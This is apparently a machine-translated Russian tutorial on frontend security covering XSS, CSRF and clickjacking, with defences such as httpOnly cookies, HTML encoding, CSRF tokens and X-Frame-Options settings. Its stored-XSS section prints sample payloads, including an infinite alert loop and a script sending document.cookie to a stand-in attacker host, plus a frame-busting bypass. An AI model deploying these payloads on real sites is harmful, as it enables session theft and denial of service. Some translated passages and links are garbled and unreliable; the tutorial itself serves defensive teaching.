Знание фронтенда в области безопасности

Безопасность JavaScript

оригинальная ссылкаИмпорт суперспособных/артикул/59-х…

XSS

xss: Межсайтовый скриптинг (Cross Site Scripting) — наиболее распространенный и основной метод атаки на веб-сайты. Злоумышленники вводят незаконные HTML-теги или коды javascript для управления браузером пользователя, когда пользователь просматривает веб-страницу.

xss в основном делится на три категории:

  • DOM xss :

    DOM означает модель текстовых объектов.DOM обычно представляет объекты в формате html, xhtml и xml.Использование DOM позволяет программам и сценариям динамически получать доступ и обновлять содержимое, структуру и стиль документов. Это не требует прямого участия сервера в анализе ответа, а запуск XSS зависит от анализа DOM на стороне браузера, который можно считать полностью делом на стороне клиента.

  • Светоотражающий xss:

    Отраженный XSS, также известный как непостоянный XSS, на сегодняшний день является одной из наиболее подверженных XSS-уязвимостям. Когда запрос сделан, XSS-код появляется в URL-адресе, и окончательный ввод отправляется на сервер.После того, как сервер анализирует, XSS-код появляется в содержимом ответа, и, наконец, браузер анализирует и выполняет его.

  • Сохраненный xss:

    Сохраненный XSS также известен как постоянный XSS. Это наиболее опасный тип межсайтового скриптинга. По сравнению с отраженным XSS и DOM XSS, он имеет более высокий уровень скрытности, поэтому он более опасен, поскольку не требует от пользователей запуска вручную. Веб-программы, которые позволяют пользователям хранить данные, могут хранить уязвимости XSS. Когда злоумышленник отправляет фрагмент кода XSS, он принимается и сохраняется сервером. Когда все браузеры посещают страницу, они будут XSS. Наиболее типичный пример: доска объявлений.

Атаки с использованием межсайтовых сценариев могут иметь следующие последствия:

  • Используйте поддельные формы ввода, чтобы выманивать у пользователей личную информацию.

  • Используя сценарий для кражи значения файла cookie пользователя, жертва может помочь злоумышленнику отправлять вредоносные запросы, не зная об этом.

  • Отображение поддельных статей или изображений.

Сохраненный случай xss

При разработке проектов комментарии являются распространенной функцией, если содержимое комментариев напрямую сохраняется в базе данных, то при отображении оно может быть атаковано.

  • Если вы просто хотите попробовать xss, вы можете сделать это:

      <font size="100" color="red">试试水</font>

  • Если это немного вредоносно, вы можете сделать это:

      <script>
          while (true) {
              alert('Hello')
          }
      </script>

    На данный момент сайт не работает.

  • Конечно, самая распространенная атака xss — это чтение файлов cookie:

      <script>
          alert(document.cookie)
      </script>

    Файл cookie отправляется на сайт злоумышленника:

      var img = document.createElement('img')
      img.src='http://www.xss.com?cookie=' + document.cookie
      img.style.display='none'
      document.getElementsByTagName('body')[0].appendChild(img)

    Учетные данные текущего пользователя хранятся в сеансе сервера, а браузер хранится в виде файла cookie. Если злоумышленник может получить cookie учетных данных пользователя для входа в систему, даже в обход процесса входа в систему, значение cookie устанавливается непосредственно для доступа к учетной записи пользователя.

защита

Само собой разумеется, что пока есть место для ввода данных, может существовать опасность XSS.

  • httpOnly: после установки атрибута HttpOnly в файле cookie сценарий js не сможет прочитать информацию о файле cookie.

      // koa
      ctx.cookies.set(name, value, {
          httpOnly: true // 默认为 true
      })
      `
  • фильтр

    • Проверка ввода обычно используется для проверки формата ввода, например: адрес электронной почты, номер телефона, имя пользователя, пароль и т. д., и ввода в соответствии с указанным форматом.

      Не только внешний интерфейс отвечает, но и серверная часть также должна выполнять те же проверки фильтрации.

      Поскольку злоумышленник может обойти нормальный процесс ввода, непосредственно связанный интерфейс настроек для отправки на сервер.

    • HtmlEncode
      В некоторых случаях пользовательские данные не могут быть строго отфильтрованы, и теги должны быть преобразованы

      когда пользователь входит<script>window.location.href=”http://www.baidu.com”;</script>, окончательный результат сохраняется как&lt;script&gt;window.location.href=&quot;http://www.baidu.com&quot;&lt;/script&gt;, при отображении браузер преобразует эти символы в текстовое содержимое, а не в исполняемый код.

    • JavaScriptEncode
      Добавьте обратную косую черту к следующим символам

      Дополнительные сведения о HtmlEncode и JavaScriptEncode см.Woo woo woo.cn blog на on.com/lovesong/afraid/...

CSRF

csrf: подделка межсайтовых запросов, также известная как атака в один клик или сессия. Выдавать себя за пользователя, чтобы инициировать запрос (без ведома пользователя) и выполнить некоторые действия вопреки желанию пользователя (например, изменить информацию о пользователе, удалить первоначальные комментарии и т. д.).

Могут возникнуть следующие эффекты:

  • Обновление информации о настройках и т. д. с правами аутентифицированного пользователя;

  • Покупка продуктов с использованием авторизованных прав пользователя;

  • Размещайте комментарии на досках объявлений с утвержденными правами пользователя.

Картинка для понимания принципа:

Жертва Чжан Сан перевела 100 Ли Си,

Сделав заявку на сайте банкаbank.example/transfer?ac…,

Обычно после отправки запроса сервер проверяет, является ли сессия законной, и Чжан Сан успешно вошел в систему.

Хакер Ван Ву может сам отправить запрос в банкbank.example/transfer?ac…, но этот запрос исходил от Ван Ву, а не от Чжан Саня, который не смог пройти сертификацию безопасности. Ему нужен сеанс Чжан Саня.

Ван Ву сам сделал сайт и поместил следующий кодbank.example/transfer?ac…,
Используйте различные методы, чтобы побудить Чжан Сана перейти на его веб-сайт.

Чжан Сан вошел на веб-сайт банка и не вышел из системы.Он посетил веб-сайт хакера Ван Ву, и приведенный выше URL-адрес инициировал запрос в банк.

Если сессия не истекла, то случится трагедия, и счет Чжан Саня потеряет 1000.

защита

  • Captcha; обеспечивает взаимодействие пользователя с приложением для выполнения окончательного запроса. Этот метод может хорошо обуздать csrf, но пользовательский опыт относительно плохой.

  • Попробуйте использовать post, чтобы ограничить использование get; предыдущий пример показывает, что get слишком просто использовать для атак csrf, но post не является надежным, злоумышленнику нужно только создать форму.

  • Referer check; запросить ограничение по источнику, этот метод имеет наименьшую стоимость, но не гарантирует 100% эффективность, так как сервер не может постоянно получать Referer, а младшая версия браузера имеет риск подделки Referer.

  • токен, наиболее подходящим решением признан CSRF-защитный механизм проверки токена.

    Общая идея такова:

    • Шаг 1: Серверная часть случайным образом генерирует токен и сохраняет токен в состоянии сеанса, в то же время серверная часть отправляет токен на страницу внешнего интерфейса;

    • Шаг 2: когда интерфейсная страница отправляет запрос, добавьте токен к данным запроса или информации заголовка и вместе передайте его на серверную часть;

    • Серверная часть проверяет, соответствует ли токен от внешнего интерфейса сеансу, если они согласуются, то это законный запрос, в противном случае это незаконный запрос.

      Если на сайте есть еще и XSS-уязвимости, то этот метод — пустая болтовня.

Clickjacking

Clickjacking: Clickjacking относится к использованию прозрачных кнопок или соединений для создания ловушек и оверлеев на веб-страницах. Атака, которая затем обманом заставляет пользователей щелкнуть эту ссылку для доступа к контенту без их ведома. Это поведение также известно как исправление пользовательского интерфейса.

Вероятно, есть два пути:

  • Злоумышленник использует прозрачный iframe, накладывает на веб-страницу, а затем обманом заставляет пользователя выполнить действие на странице, после чего пользователь, не подозревая об этом, щелкнет прозрачную страницу iframe;

  • Злоумышленник использует изображение для наложения на веб-страницу, чтобы скрыть исходное значение местоположения веб-страницы.

кейс

Картинка

Общие шаги

  • Хакер создает веб-страницу, используя iframe для содержания целевого веб-сайта;

  • Скрыть целевой веб-сайт, чтобы пользователь не мог обнаружить его существование;

  • Создание веб-страницы и изменение пользователей, чтобы они нажимали кнопку функции

  • Пользователь неосознанно нажимает кнопку, запуская команду для выполнения вредоносной веб-страницы.

защита

  • X-кадр-варианты;

    Заголовок ответа HTTP X-FRAME-OPTIONS используется для указания браузеру, разрешена ли страница или нет.<frame>, <iframe>или<object>знак показан в . Веб-сайты могут использовать эту функцию, чтобы убедиться, что содержимое их собственного веб-сайта не встроено в веб-сайты других людей, что позволяет избежать атак с использованием кликджекинга.

    Есть три значения:

    • DENY: указывает, что страница не может отображаться во фрейме, даже если она вложена в страницы с тем же доменным именем.

    • SAMEORIGIN: Указывает, что страница может отображаться во фрейме страницы с тем же доменным именем.

    • РАЗРЕШЕННЫЙ URL-адрес: указывает, что страница может отображаться во фрейме в указанном источнике.

    Настройте параметры X-frame:

    • Apache

      Добавьте следующую строку в конфигурацию «сайт»:

      Header always append X-Frame-Options SAMEORIGIN
    • nginx

      Добавьте следующую строку в «http», «сервер» или «местоположение», конфигурация

      add_header X-Frame-Options SAMEORIGIN;
    • IIS

      Добавьте следующую конфигурацию в файл Web.config.

        <system.webServer>
      ...
      
      <httpProtocol>
        <customHeaders>
          <add name="X-Frame-Options" value="SAMEORIGIN" />
        </customHeaders>
      </httpProtocol>
      
      ...
      </system.webServer>
  • js оценивает прыжок окна верхнего уровня, который легко взломать и не имеет большого значения;

    function locationTop(){
      if (top.location != self.location) {
         top.location = self.location; return false;
      }
      return true; 
     }
    locationTop();
    // 破解:
    // 顶层窗口中放入代码
    var location = document.location;
    //或者
    var location = "";